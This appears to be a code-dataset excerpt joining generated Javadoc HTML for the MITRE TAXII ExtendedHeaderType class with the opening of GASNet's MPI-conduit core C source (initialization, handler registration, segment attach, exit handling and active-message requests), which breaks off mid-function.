<td class="colLast"><code><strong><a href="../../../../../org/mitre/taxii/messages/xml11/ExtendedHeaderType.html#withContent(java.util.Collection)">withContent</a></strong>(java.util.Collection<java.lang.Object> values)</code> </td>
</tr>
<tr class="rowColor">
<td class="colFirst"><code><a href="../../../../../org/mitre/taxii/messages/xml11/ExtendedHeaderType.html" title="class in org.mitre.taxii.messages.xml11">ExtendedHeaderType</a></code></td>
<td class="colLast"><code><strong><a href="../../../../../org/mitre/taxii/messages/xml11/ExtendedHeaderType.html#withContent(java.lang.Object...)">withContent</a></strong>(java.lang.Object... values)</code> </td>
</tr>
<tr class="altColor">
<td class="colFirst"><code><a href="../../../../../org/mitre/taxii/messages/xml11/ExtendedHeaderType.html" title="class in org.mitre.taxii.messages.xml11">ExtendedHeaderType</a></code></td>
<td class="colLast"><code><strong><a href="../../../../../org/mitre/taxii/messages/xml11/ExtendedHeaderType.html#withName(java.lang.String)">withName</a></strong>(java.lang.String value)</code> </td>
</tr>
</table>
<ul class="blockList">
<li class="blockList"><a name="methods_inherited_from_class_org.mitre.taxii.messages.xml11.AnyMixedContentType">
<!-- -->
</a>
<h3>Methods inherited from class org.mitre.taxii.messages.xml11.<a href="../../../../../org/mitre/taxii/messages/xml11/AnyMixedContentType.html" title="class in org.mitre.taxii.messages.xml11">AnyMixedContentType</a></h3>
<code><a href="../../../../../org/mitre/taxii/messages/xml11/AnyMixedContentType.html#getContent()">getContent</a></code></li>
</ul>
<ul class="blockList">
<li class="blockList"><a name="methods_inherited_from_class_java.lang.Object">
<!-- -->
</a>
<h3>Methods inherited from class java.lang.Object</h3>
<code>clone, finalize, getClass, notify, notifyAll, toString, wait, wait, wait</code></li>
</ul>
</li>
</ul>
</li>
</ul>
</div>
<div class="details">
<ul class="blockList">
<li class="blockList">
<!-- ============ FIELD DETAIL =========== -->
<ul class="blockList">
<li class="blockList"><a name="field_detail">
<!-- -->
</a>
<h3>Field Detail</h3>
<a name="name">
<!-- -->
</a>
<ul class="blockListLast">
<li class="blockList">
<h4>name</h4>
<pre>protected java.lang.String name</pre>
</li>
</ul>
</li>
</ul>
<!-- ========= CONSTRUCTOR DETAIL ======== -->
<ul class="blockList">
<li class="blockList"><a name="constructor_detail">
<!-- -->
</a>
<h3>Constructor Detail</h3>
<a name="ExtendedHeaderType()">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>ExtendedHeaderType</h4>
<pre>public ExtendedHeaderType()</pre>
<div class="block">Default no-arg constructor</div>
</li>
</ul>
<a name="ExtendedHeaderType(java.util.List, java.lang.String)">
<!-- -->
</a>
<ul class="blockListLast">
<li class="blockList">
<h4>ExtendedHeaderType</h4>
<pre>public ExtendedHeaderType(java.util.List<java.lang.Object> content,
java.lang.String name)</pre>
<div class="block">Fully-initialising value constructor</div>
</li>
</ul>
</li>
</ul>
<!-- ============ METHOD DETAIL ========== -->
<ul class="blockList">
<li class="blockList"><a name="method_detail">
<!-- -->
</a>
<h3>Method Detail</h3>
<a name="getName()">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>getName</h4>
<pre>public java.lang.String getName()</pre>
<div class="block">Gets the value of the name property.</div>
<dl><dt><span class="strong">Returns:</span></dt><dd>possible object is
<code>String</code></dd></dl>
</li>
</ul>
<a name="setName(java.lang.String)">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>setName</h4>
<pre>public void setName(java.lang.String value)</pre>
<div class="block">Sets the value of the name property.</div>
<dl><dt><span class="strong">Parameters:</span></dt><dd><code>value</code> - allowed object is
<code>String</code></dd></dl>
</li>
</ul>
<a name="equals(org.jvnet.jaxb2_commons.locator.ObjectLocator, org.jvnet.jaxb2_commons.locator.ObjectLocator, java.lang.Object, org.jvnet.jaxb2_commons.lang.EqualsStrategy)">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>equals</h4>
<pre>public boolean equals(org.jvnet.jaxb2_commons.locator.ObjectLocator thisLocator,
org.jvnet.jaxb2_commons.locator.ObjectLocator thatLocator,
java.lang.Object object,
org.jvnet.jaxb2_commons.lang.EqualsStrategy strategy)</pre>
<dl>
<dt><strong>Specified by:</strong></dt>
<dd><code>equals</code> in interface <code>org.jvnet.jaxb2_commons.lang.Equals</code></dd>
<dt><strong>Overrides:</strong></dt>
<dd><code><a href="../../../../../org/mitre/taxii/messages/xml11/AnyMixedContentType.html#equals(org.jvnet.jaxb2_commons.locator.ObjectLocator,%20org.jvnet.jaxb2_commons.locator.ObjectLocator,%20java.lang.Object,%20org.jvnet.jaxb2_commons.lang.EqualsStrategy)">equals</a></code> in class <code><a href="../../../../../org/mitre/taxii/messages/xml11/AnyMixedContentType.html" title="class in org.mitre.taxii.messages.xml11">AnyMixedContentType</a></code></dd>
</dl>
</li>
</ul>
<a name="equals(java.lang.Object)">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>equals</h4>
<pre>public boolean equals(java.lang.Object object)</pre>
<dl>
<dt><strong>Overrides:</strong></dt>
<dd><code><a href="../../../../../org/mitre/taxii/messages/xml11/AnyMixedContentType.html#equals(java.lang.Object)">equals</a></code> in class <code><a href="../../../../../org/mitre/taxii/messages/xml11/AnyMixedContentType.html" title="class in org.mitre.taxii.messages.xml11">AnyMixedContentType</a></code></dd>
</dl>
</li>
</ul>
<a name="hashCode(org.jvnet.jaxb2_commons.locator.ObjectLocator, org.jvnet.jaxb2_commons.lang.HashCodeStrategy)">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>hashCode</h4>
<pre>public int hashCode(org.jvnet.jaxb2_commons.locator.ObjectLocator locator,
org.jvnet.jaxb2_commons.lang.HashCodeStrategy strategy)</pre>
<dl>
<dt><strong>Specified by:</strong></dt>
<dd><code>hashCode</code> in interface <code>org.jvnet.jaxb2_commons.lang.HashCode</code></dd>
<dt><strong>Overrides:</strong></dt>
<dd><code><a href="../../../../../org/mitre/taxii/messages/xml11/AnyMixedContentType.html#hashCode(org.jvnet.jaxb2_commons.locator.ObjectLocator,%20org.jvnet.jaxb2_commons.lang.HashCodeStrategy)">hashCode</a></code> in class <code><a href="../../../../../org/mitre/taxii/messages/xml11/AnyMixedContentType.html" title="class in org.mitre.taxii.messages.xml11">AnyMixedContentType</a></code></dd>
</dl>
</li>
</ul>
<a name="hashCode()">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>hashCode</h4>
<pre>public int hashCode()</pre>
<dl>
<dt><strong>Overrides:</strong></dt>
<dd><code><a href="../../../../../org/mitre/taxii/messages/xml11/AnyMixedContentType.html#hashCode()">hashCode</a></code> in class <code><a href="../../../../../org/mitre/taxii/messages/xml11/AnyMixedContentType.html" title="class in org.mitre.taxii.messages.xml11">AnyMixedContentType</a></code></dd>
</dl>
</li>
</ul>
<a name="withName(java.lang.String)">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>withName</h4>
<pre>public <a href="../../../../../org/mitre/taxii/messages/xml11/ExtendedHeaderType.html" title="class in org.mitre.taxii.messages.xml11">ExtendedHeaderType</a> withName(java.lang.String value)</pre>
</li>
</ul>
<a name="withContent(java.lang.Object...)">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>withContent</h4>
<pre>public <a href="../../../../../org/mitre/taxii/messages/xml11/ExtendedHeaderType.html" title="class in org.mitre.taxii.messages.xml11">ExtendedHeaderType</a> withContent(java.lang.Object... values)</pre>
<dl>
<dt><strong>Overrides:</strong></dt>
<dd><code><a href="../../../../../org/mitre/taxii/messages/xml11/AnyMixedContentType.html#withContent(java.lang.Object...)">withContent</a></code> in class <code><a href="../../../../../org/mitre/taxii/messages/xml11/AnyMixedContentType.html" title="class in org.mitre.taxii.messages.xml11">AnyMixedContentType</a></code></dd>
</dl>
</li>
</ul>
<a name="withContent(java.util.Collection)">
<!-- -->
</a>
<ul class="blockListLast">
<li class="blockList">
<h4>withContent</h4>
<pre>public <a href="../../../../../org/mitre/taxii/messages/xml11/ExtendedHeaderType.html" title="class in org.mitre.taxii.messages.xml11">ExtendedHeaderType</a> withContent(java.util.Collection<java.lang.Object> values)</pre>
<dl>
<dt><strong>Overrides:</strong></dt>
<dd><code><a href="../../../../../org/mitre/taxii/messages/xml11/AnyMixedContentType.html#withContent(java.util.Collection)">withContent</a></code> in class <code><a href="../../../../../org/mitre/taxii/messages/xml11/AnyMixedContentType.html" title="class in org.mitre.taxii.messages.xml11">AnyMixedContentType</a></code></dd>
</dl>
</li>
</ul>
</li>
</ul>
</li>
</ul>
</div>
</div>
<!-- ========= END OF CLASS DATA ========= -->
<!-- ======= START OF BOTTOM NAVBAR ====== -->
<div class="bottomNav"><a name="navbar_bottom">
<!-- -->
</a><a href="#skip-navbar_bottom" title="Skip navigation links"></a><a name="navbar_bottom_firstrow">
<!-- -->
</a>
<ul class="navList" title="Navigation">
<li><a href="../../../../../overview-summary.html">Overview</a></li>
<li><a href="package-summary.html">Package</a></li>
<li class="navBarCell1Rev">Class</li>
<li><a href="package-tree.html">Tree</a></li>
<li><a href="../../../../../deprecated-list.html">Deprecated</a></li>
<li><a href="../../../../../index-all.html">Index</a></li>
<li><a href="../../../../../help-doc.html">Help</a></li>
</ul>
</div>
<div class="subNav">
<ul class="navList">
<li><a href="../../../../../org/mitre/taxii/messages/xml11/ExtendedHeadersType.html" title="class in org.mitre.taxii.messages.xml11"><span class="strong">Prev Class</span></a></li>
<li><a href="../../../../../org/mitre/taxii/messages/xml11/InboxMessage.html" title="class in org.mitre.taxii.messages.xml11"><span class="strong">Next Class</span></a></li>
</ul>
<ul class="navList">
<li><a href="../../../../../index.html?org/mitre/taxii/messages/xml11/ExtendedHeaderType.html" target="_top">Frames</a></li>
<li><a href="ExtendedHeaderType.html" target="_top">No Frames</a></li>
</ul>
<ul class="navList" id="allclasses_navbar_bottom">
<li><a href="../../../../../allclasses-noframe.html">All Classes</a></li>
</ul>
<div>
<script type="text/javascript"><!--
allClassesLink = document.getElementById("allclasses_navbar_bottom");
if(window==top) {
allClassesLink.style.display = "block";
}
else {
allClassesLink.style.display = "none";
}
//-->
</script>
</div>
<div>
<ul class="subNavList">
<li>Summary: </li>
<li>Nested | </li>
<li><a href="#field_summary">Field</a> | </li>
<li><a href="#constructor_summary">Constr</a> | </li>
<li><a href="#method_summary">Method</a></li>
</ul>
<ul class="subNavList">
<li>Detail: </li>
<li><a href="#field_detail">Field</a> | </li>
<li><a href="#constructor_detail">Constr</a> | </li>
<li><a href="#method_detail">Method</a></li>
</ul>
</div>
<a name="skip-navbar_bottom">
<!-- -->
</a></div>
<!-- ======== END OF BOTTOM NAVBAR ======= -->
</body>
</html>
| bsd-3-clause |
jbreitbart/sa-pgas | vendor/source/GASNet-1.16.2/mpi-conduit/gasnet_core.c | 42804 | /* $Source: /var/local/cvs/gasnet/mpi-conduit/gasnet_core.c,v $
* $Date: 2010/10/18 15:58:59 $
* $Revision: 1.85 $
* Description: GASNet MPI conduit Implementation
* Copyright 2002, Dan Bonachea <[email protected]>
* Terms of use are as specified in license.txt
*/
#include <gasnet_internal.h>
#include <gasnet_handler.h>
#include <gasnet_core_internal.h>
#include <ammpi_spmd.h>
#include <errno.h>
#include <unistd.h>
#include <signal.h>
#include <unistd.h>
GASNETI_IDENT(gasnetc_IdentString_Version, "$GASNetCoreLibraryVersion: " GASNET_CORE_VERSION_STR " $");
GASNETI_IDENT(gasnetc_IdentString_Name, "$GASNetCoreLibraryName: " GASNET_CORE_NAME_STR " $");
gasnet_handlerentry_t const *gasnetc_get_handlertable(void);
static void gasnetc_traceoutput(int);
#if HAVE_ON_EXIT
static void gasnetc_on_exit(int, void*);
#else
static void gasnetc_atexit(void);
#endif
eb_t gasnetc_bundle;
ep_t gasnetc_endpoint;
gasneti_mutex_t gasnetc_AMlock = GASNETI_MUTEX_INITIALIZER; /* protect access to AMMPI */
#if GASNET_PSHM
gasneti_handler_fn_t gasnetc_handler[GASNETC_MAX_NUMHANDLERS]; /* shadow handler table */
#endif /* GASNET_PSHM */
#if GASNETC_HSL_ERRCHECK || GASNET_TRACE
extern void gasnetc_enteringHandler_hook(ammpi_category_t cat, int isReq, int handlerId, void *token,
void *buf, size_t nbytes, int numargs, uint32_t *args);
extern void gasnetc_leavingHandler_hook(ammpi_category_t cat, int isReq);
#endif
#if GASNETC_HSL_ERRCHECK
/* check a call is legally outside an NIS or HSL */
void gasnetc_checkcallNIS(void);
void gasnetc_checkcallHSL(void);
void gasnetc_hsl_attach(void);
#define CHECKCALLNIS() gasnetc_checkcallNIS()
#define CHECKCALLHSL() gasnetc_checkcallHSL()
#else
#define CHECKCALLNIS()
#define CHECKCALLHSL()
#endif
/* ------------------------------------------------------------------------------------ */
/*
Initialization
==============
*/
/* called at startup to check configuration sanity */
static void gasnetc_check_config(void) {
gasneti_check_config_preinit();
gasneti_assert(GASNET_MAXNODES <= AMMPI_MAX_SPMDPROCS);
gasneti_assert(AMMPI_MAX_NUMHANDLERS >= 256);
gasneti_assert(AMMPI_MAX_SEGLENGTH == (uintptr_t)-1);
gasneti_assert(GASNET_ERR_NOT_INIT == AM_ERR_NOT_INIT);
gasneti_assert(GASNET_ERR_RESOURCE == AM_ERR_RESOURCE);
gasneti_assert(GASNET_ERR_BAD_ARG == AM_ERR_BAD_ARG);
#if GASNET_PSHM
gasneti_assert(gasnetc_Short == (gasnetc_category_t) ammpi_Short);
gasneti_assert(gasnetc_Medium == (gasnetc_category_t) ammpi_Medium);
gasneti_assert(gasnetc_Long == (gasnetc_category_t) ammpi_Long);
#endif
}
void gasnetc_bootstrapBarrier(void) {
int retval;
AM_ASSERT_LOCKED(); /* need this because SPMDBarrier may poll */
GASNETI_AM_SAFE_NORETURN(retval,AMMPI_SPMDBarrier());
if_pf (retval) gasneti_fatalerror("failure in gasnetc_bootstrapBarrier()");
}
void gasnetc_bootstrapExchange(void *src, size_t len, void *dest) {
int retval;
GASNETI_AM_SAFE_NORETURN(retval,AMMPI_SPMDAllGather(src, dest, len));
if_pf (retval) gasneti_fatalerror("failure in gasnetc_bootstrapExchange()");
}
void gasnetc_bootstrapBroadcast(void *src, size_t len, void *dest, int rootnode) {
int retval;
gasneti_assert(gasneti_nodes > 0 && gasneti_mynode < gasneti_nodes);
if (gasneti_mynode == rootnode) memcpy(dest, src, len);
GASNETI_AM_SAFE_NORETURN(retval,AMMPI_SPMDBroadcast(dest, len, rootnode));
if_pf (retval) gasneti_fatalerror("failure in gasnetc_bootstrapBroadcast()");
}
#define INITERR(type, reason) do { \
if (gasneti_VerboseErrors) { \
fprintf(stderr, "GASNet initialization encountered an error: %s\n" \
" in %s at %s:%i\n", \
#reason, GASNETI_CURRENT_FUNCTION, __FILE__, __LINE__); \
} \
retval = GASNET_ERR_ ## type; \
goto done; \
} while (0)
static int gasnetc_init(int *argc, char ***argv) {
int retval = GASNET_OK;
int networkdepth = 0;
const char *pstr = NULL;
const char *tmsgstr = NULL;
AMLOCK();
if (gasneti_init_done)
INITERR(NOT_INIT, "GASNet already initialized");
gasneti_init_done = 1; /* enable early to allow tracing */
/* check system sanity */
gasnetc_check_config();
gasneti_freezeForDebugger();
#if GASNET_DEBUG_VERBOSE
/* note - can't call trace macros during gasnet_init because trace system not yet initialized */
fprintf(stderr,"gasnetc_init(): about to spawn...\n"); fflush(stderr);
#endif
/* choose network depth */
networkdepth = gasnett_getenv_int_withdefault("GASNET_NETWORKDEPTH", GASNETC_DEFAULT_NETWORKDEPTH, 0);
if (networkdepth <= 1) networkdepth = GASNETC_DEFAULT_NETWORKDEPTH;
AMMPI_VerboseErrors = gasneti_VerboseErrors;
AMMPI_SPMDkillmyprocess = gasneti_killmyprocess;
#if !defined(GASNETI_DISABLE_MPI_INIT_THREAD)
{ int res;
#if GASNETI_THREADS
/* tell MPI to be thread-safe */
res = AMMPI_SPMDSetThreadMode(1, &pstr, argc, argv);
#else
res = AMMPI_SPMDSetThreadMode(0, &pstr, argc, argv);
#endif
if (!res) {
#if GASNETI_THREADS
{ static char tmsg[255];
sprintf(tmsg, "*** WARNING: The pthreaded version of mpi-conduit requires an MPI implementation "
"which supports threading mode MPI_THREAD_SERIALIZED, "
"but this implementation reports it can only support %s\n", pstr);
#if GASNET_DEBUG_VERBOSE
/* only show this in verbose mode, because some versions of MPICH (eg Quadrics version)
lie and report THREAD_SINGLE, when in actuality MPI_THREAD_SERIALIZED works just fine */
if (!gasneti_getenv_yesno_withdefault("GASNET_QUIET",0)) fprintf(stderr, "%s", tmsg);
#else
tmsgstr = tmsg;
#endif
}
#else
fprintf(stderr,"unknown failure in AMMPI_SPMDSetThreadMode() => %s\n",pstr);
#endif
}
}
#endif
/* perform job spawn */
retval = AMMPI_SPMDStartup(argc, argv, networkdepth, NULL, &gasnetc_bundle, &gasnetc_endpoint);
if (retval != AM_OK) INITERR(RESOURCE, "AMMPI_SPMDStartup() failed");
gasneti_mynode = AMMPI_SPMDMyProc();
gasneti_nodes = AMMPI_SPMDNumProcs();
/* a number of MPI job spawners fail to propagate the environment to all compute nodes */
/* do this before trace_init to make sure it gets right environment */
gasneti_setupGlobalEnvironment(gasneti_nodes, gasneti_mynode,
gasnetc_bootstrapExchange, gasnetc_bootstrapBroadcast);
/* enable tracing */
gasneti_trace_init(argc, argv);
GASNETI_AM_SAFE(AMMPI_SPMDSetExitCallback(gasnetc_traceoutput));
if (pstr) GASNETI_TRACE_PRINTF(C,("AMMPI_SPMDSetThreadMode/MPI_Init_thread()=>%s",pstr));
if (tmsgstr) GASNETI_TRACE_PRINTF(I,("%s",tmsgstr));
#if GASNET_DEBUG_VERBOSE
fprintf(stderr,"gasnetc_init(): spawn successful - node %i/%i starting...\n",
gasneti_mynode, gasneti_nodes); fflush(stderr);
#endif
gasneti_nodemapInit(&gasnetc_bootstrapExchange, NULL, 0, 0);
#if GASNET_PSHM
gasneti_pshm_init(&gasnetc_bootstrapExchange, 0);
#endif
#if GASNET_SEGMENT_FAST || GASNET_SEGMENT_LARGE
{ uintptr_t limit;
#if HAVE_MMAP
limit = gasneti_mmapLimit((uintptr_t)-1, (uint64_t)-1,
&gasnetc_bootstrapExchange,
&gasnetc_bootstrapBarrier);
#else
limit = (intptr_t)-1;
#endif
gasneti_segmentInit(limit, &gasnetc_bootstrapExchange);
}
#elif GASNET_SEGMENT_EVERYTHING
/* segment is everything - nothing to do */
#else
#error Bad segment config
#endif
AMUNLOCK();
gasneti_auxseg_init(); /* adjust max seg values based on auxseg */
gasneti_assert(retval == GASNET_OK);
return retval;
done: /* error return while locked */
AMUNLOCK();
GASNETI_RETURN(retval);
}
/* ------------------------------------------------------------------------------------ */
extern int gasnet_init(int *argc, char ***argv) {
int retval = gasnetc_init(argc, argv);
if (retval != GASNET_OK) GASNETI_RETURN(retval);
#if 0
/* called within gasnet_init to allow init tracing */
gasneti_trace_init(argc, argv);
#endif
return GASNET_OK;
}
/* ------------------------------------------------------------------------------------ */
static char checkuniqhandler[256] = { 0 };
static int gasnetc_reghandlers(gasnet_handlerentry_t *table, int numentries,
int lowlimit, int highlimit,
int dontcare, int *numregistered) {
int i;
*numregistered = 0;
for (i = 0; i < numentries; i++) {
int newindex;
if ((table[i].index == 0 && !dontcare) ||
(table[i].index && dontcare)) continue;
else if (table[i].index) newindex = table[i].index;
else { /* deterministic assignment of dontcare indexes */
for (newindex = lowlimit; newindex <= highlimit; newindex++) {
if (!checkuniqhandler[newindex]) break;
}
if (newindex > highlimit) {
char s[255];
sprintf(s,"Too many handlers. (limit=%i)", highlimit - lowlimit + 1);
GASNETI_RETURN_ERRR(BAD_ARG, s);
}
}
/* ensure handlers fall into the proper range of pre-assigned values */
if (newindex < lowlimit || newindex > highlimit) {
char s[255];
sprintf(s, "handler index (%i) out of range [%i..%i]", newindex, lowlimit, highlimit);
GASNETI_RETURN_ERRR(BAD_ARG, s);
}
/* discover duplicates */
if (checkuniqhandler[newindex] != 0)
GASNETI_RETURN_ERRR(BAD_ARG, "handler index not unique");
checkuniqhandler[newindex] = 1;
/* register the handler */
if (AM_SetHandler(gasnetc_endpoint, (handler_t)newindex, table[i].fnptr) != AM_OK)
GASNETI_RETURN_ERRR(RESOURCE, "AM_SetHandler() failed while registering handlers");
#if GASNET_PSHM
/* Maintain a shadown handler table for AMPSHM */
gasnetc_handler[(gasnet_handler_t)newindex] = (gasneti_handler_fn_t)table[i].fnptr;
#endif
/* The check below for !table[i].index is redundant and present
* only to defeat the over-aggressive optimizer in pathcc 2.1
*/
if (dontcare && !table[i].index) table[i].index = newindex;
(*numregistered)++;
}
return GASNET_OK;
}
/* ------------------------------------------------------------------------------------ */
extern int gasnetc_attach(gasnet_handlerentry_t *table, int numentries,
uintptr_t segsize, uintptr_t minheapoffset) {
int retval = GASNET_OK;
void *segbase = NULL;
GASNETI_TRACE_PRINTF(C,("gasnetc_attach(table (%i entries), segsize=%lu, minheapoffset=%lu)",
numentries, (unsigned long)segsize, (unsigned long)minheapoffset));
AMLOCK();
if (!gasneti_init_done)
INITERR(NOT_INIT, "GASNet attach called before init");
if (gasneti_attach_done)
INITERR(NOT_INIT, "GASNet already attached");
/* pause to make sure all nodes have called attach
if a node calls gasnet_exit() between init/attach, then this allows us
to process the AMMPI_SPMD control messages required for job shutdown
*/
gasnetc_bootstrapBarrier();
/* check argument sanity */
#if GASNET_SEGMENT_FAST || GASNET_SEGMENT_LARGE
if ((segsize % GASNET_PAGESIZE) != 0)
INITERR(BAD_ARG, "segsize not page-aligned");
if (segsize > gasneti_MaxLocalSegmentSize)
INITERR(BAD_ARG, "segsize too large");
if ((minheapoffset % GASNET_PAGESIZE) != 0) /* round up the minheapoffset to page sz */
minheapoffset = ((minheapoffset / GASNET_PAGESIZE) + 1) * GASNET_PAGESIZE;
#else
segsize = 0;
minheapoffset = 0;
#endif
segsize = gasneti_auxseg_preattach(segsize); /* adjust segsize for auxseg reqts */
/* ------------------------------------------------------------------------------------ */
/* register handlers */
#if GASNET_PSHM
/* Initialize AMPSHM's shadow handler table */
{ int i;
for (i=0; i<GASNETC_MAX_NUMHANDLERS; i++)
gasnetc_handler[i]=(gasneti_handler_fn_t)&gasneti_defaultAMHandler;
}
#endif
{ /* core API handlers */
gasnet_handlerentry_t *ctable = (gasnet_handlerentry_t *)gasnetc_get_handlertable();
int len = 0;
int numreg = 0;
gasneti_assert(ctable);
while (ctable[len].fnptr) len++; /* calc len */
if (gasnetc_reghandlers(ctable, len, 1, 63, 0, &numreg) != GASNET_OK)
INITERR(RESOURCE,"Error registering core API handlers");
gasneti_assert(numreg == len);
}
{ /* extended API handlers */
gasnet_handlerentry_t *etable = (gasnet_handlerentry_t *)gasnete_get_handlertable();
int len = 0;
int numreg = 0;
gasneti_assert(etable);
while (etable[len].fnptr) len++; /* calc len */
if (gasnetc_reghandlers(etable, len, 64, 127, 0, &numreg) != GASNET_OK)
INITERR(RESOURCE,"Error registering extended API handlers");
gasneti_assert(numreg == len);
}
if (table) { /* client handlers */
int numreg1 = 0;
int numreg2 = 0;
/* first pass - assign all fixed-index handlers */
if (gasnetc_reghandlers(table, numentries, 128, 255, 0, &numreg1) != GASNET_OK)
INITERR(RESOURCE,"Error registering fixed-index client handlers");
/* second pass - fill in dontcare-index handlers */
if (gasnetc_reghandlers(table, numentries, 128, 255, 1, &numreg2) != GASNET_OK)
INITERR(RESOURCE,"Error registering variable-index client handlers");
gasneti_assert(numreg1 + numreg2 == numentries);
}
/* ------------------------------------------------------------------------------------ */
/* register fatal signal handlers */
/* catch fatal signals and convert to SIGQUIT */
gasneti_registerSignalHandlers(gasneti_defaultSignalHandler);
#if HAVE_ON_EXIT
on_exit(gasnetc_on_exit, NULL);
#else
atexit(gasnetc_atexit);
#endif
/* ------------------------------------------------------------------------------------ */
/* register segment */
gasneti_seginfo = (gasnet_seginfo_t *)gasneti_malloc(gasneti_nodes*sizeof(gasnet_seginfo_t));
#if GASNET_SEGMENT_FAST || GASNET_SEGMENT_LARGE
gasneti_segmentAttach(segsize, minheapoffset, gasneti_seginfo, &gasnetc_bootstrapExchange);
#else /* GASNET_SEGMENT_EVERYTHING */
{ int i;
for (i=0;i<gasneti_nodes;i++) {
gasneti_seginfo[i].addr = (void *)0;
gasneti_seginfo[i].size = (uintptr_t)-1;
}
}
#endif
segbase = gasneti_seginfo[gasneti_mynode].addr;
segsize = gasneti_seginfo[gasneti_mynode].size;
/* AMMPI allows arbitrary registration with no further action */
if (segsize) {
retval = AM_SetSeg(gasnetc_endpoint, segbase, segsize);
if (retval != AM_OK) INITERR(RESOURCE, "AM_SetSeg() failed");
}
#if GASNETC_HSL_ERRCHECK || GASNET_TRACE
#if !GASNETC_HSL_ERRCHECK
if (GASNETI_TRACE_ENABLED(A))
#endif
GASNETI_AM_SAFE(AMMPI_SetHandlerCallbacks(gasnetc_endpoint,
gasnetc_enteringHandler_hook, gasnetc_leavingHandler_hook));
#endif
#if GASNETC_HSL_ERRCHECK
gasnetc_hsl_attach(); /* must precede attach_done to avoid inf recursion on malloc/hold_interrupts */
#endif
/* ------------------------------------------------------------------------------------ */
/* primary attach complete */
gasneti_attach_done = 1;
gasnetc_bootstrapBarrier();
AMUNLOCK();
GASNETI_TRACE_PRINTF(C,("gasnetc_attach(): primary attach complete\n"));
gasneti_auxseg_attach(); /* provide auxseg */
gasnete_init(); /* init the extended API */
gasneti_nodemapFini();
/* ensure extended API is initialized across nodes */
AMLOCK();
gasnetc_bootstrapBarrier();
AMUNLOCK();
gasneti_assert(retval == GASNET_OK);
return retval;
done: /* error return while locked */
AMUNLOCK();
GASNETI_RETURN(retval);
}
/* ------------------------------------------------------------------------------------ */
#if HAVE_ON_EXIT
static void gasnetc_on_exit(int exitcode, void *arg) {
gasnetc_exit(exitcode);
}
#else
static void gasnetc_atexit(void) {
gasnetc_exit(0);
}
#endif
static int gasnetc_exitcalled = 0;
static void gasnetc_traceoutput(int exitcode) {
if (!gasnetc_exitcalled) {
gasneti_flush_streams();
gasneti_trace_finish();
}
}
extern void gasnetc_fatalsignal_callback(int sig) {
if (gasnetc_exitcalled) {
/* if we get a fatal signal during exit, it's almost certainly a signal-safety or network shutdown
issue and not a client bug, so don't bother reporting it verbosely,
just die silently
*/
#if 0
gasneti_fatalerror("gasnetc_fatalsignal_callback aborting...");
#endif
gasneti_killmyprocess(1);
}
}
extern void gasnetc_exit(int exitcode) {
/* once we start a shutdown, ignore all future SIGQUIT signals or we risk reentrancy */
gasneti_reghandler(SIGQUIT, SIG_IGN);
gasnetc_exitcalled = 1;
{ /* ensure only one thread ever continues past this point */
static gasneti_mutex_t exit_lock = GASNETI_MUTEX_INITIALIZER;
gasneti_mutex_lock(&exit_lock);
}
GASNETI_TRACE_PRINTF(C,("gasnet_exit(%i)\n", exitcode));
#ifdef GASNETE_EXIT_CALLBACK
/* callback for native conduits using an mpi-conduit core
this should cleanup extended API resources (only)
and then return so that MPI can be shutdown properly
*/
GASNETE_EXIT_CALLBACK(exitcode);
#endif
gasneti_flush_streams();
gasneti_trace_finish();
gasneti_sched_yield();
{ int i;
/* try to prevent races where we exit while other local pthreads are in MPI
can't use a blocking lock here, because may be in a signal context
*/
for (i=0; i < 5; i++) {
#if GASNET_DEBUG
/* ignore recursive lock attempts */
if (gasnetc_AMlock.owner == GASNETI_THREADIDQUERY()) break;
#endif
if (!gasneti_mutex_trylock(&gasnetc_AMlock)) break;
gasneti_sched_yield();
}
}
AMMPI_SPMDExit(exitcode);
gasneti_fatalerror("AMMPI_SPMDExit failed");
}
/* ------------------------------------------------------------------------------------ */
/*
Job Environment Queries
=======================
*/
extern int gasneti_getSegmentInfo(gasnet_seginfo_t *seginfo_table, int numentries);
extern int gasnetc_getSegmentInfo(gasnet_seginfo_t *seginfo_table, int numentries) {
CHECKCALLNIS();
return gasneti_getSegmentInfo(seginfo_table, numentries);
}
/* ------------------------------------------------------------------------------------ */
/*
Misc. Active Message Functions
==============================
*/
extern int gasnetc_AMGetMsgSource(gasnet_token_t token, gasnet_node_t *srcindex) {
int retval;
gasnet_node_t sourceid;
GASNETI_CHECKATTACH();
GASNETI_CHECK_ERRR((!token),BAD_ARG,"bad token");
GASNETI_CHECK_ERRR((!srcindex),BAD_ARG,"bad src ptr");
#if GASNET_PSHM
if (gasneti_AMPSHMGetMsgSource(token, &sourceid) != GASNET_OK)
#endif
{
int tmp; /* AMMPI wants an int, but gasnet_node_t is uint32_t */
GASNETI_AM_SAFE_NORETURN(retval, AMMPI_GetSourceId(token, &tmp));
if_pf (retval) GASNETI_RETURN_ERR(RESOURCE);
gasneti_assert(tmp >= 0);
sourceid = tmp;
}
gasneti_assert(sourceid < gasneti_nodes);
*srcindex = sourceid;
return GASNET_OK;
}
extern int gasnetc_AMPoll(void) {
int retval;
GASNETI_CHECKATTACH();
CHECKCALLNIS();
#if GASNET_PSHM
gasneti_AMPSHMPoll(0);
#endif
AMLOCK();
GASNETI_AM_SAFE_NORETURN(retval, AM_Poll(gasnetc_bundle));
AMUNLOCK();
if_pf (retval) GASNETI_RETURN_ERR(RESOURCE);
else return GASNET_OK;
}
/* ------------------------------------------------------------------------------------ */
/*
Active Message Request Functions
================================
*/
extern int gasnetc_AMRequestShortM(
gasnet_node_t dest, /* destination node */
gasnet_handler_t handler, /* index into destination endpoint's handler table */
int numargs, ...) {
int retval;
va_list argptr;
CHECKCALLNIS();
GASNETI_COMMON_AMREQUESTSHORT(dest,handler,numargs);
va_start(argptr, numargs); /* pass in last argument */
#if GASNET_PSHM
if_pt (gasneti_pshm_in_supernode(dest)) {
retval = gasneti_AMPSHM_RequestGeneric(gasnetc_Short, dest, handler,
0, 0, 0,
numargs, argptr);
} else
#endif
{
AMLOCK_TOSEND();
GASNETI_AM_SAFE_NORETURN(retval,
AMMPI_RequestVA(gasnetc_endpoint, dest, handler,
